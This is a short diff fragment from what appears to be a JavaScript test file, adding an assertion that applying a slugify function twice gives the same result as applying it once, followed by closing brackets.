+ assert.equal(twice, once, 'Applying slugify twice should equal applying it once');
391
+ },
392
+ },
393
+ ],
394
+ };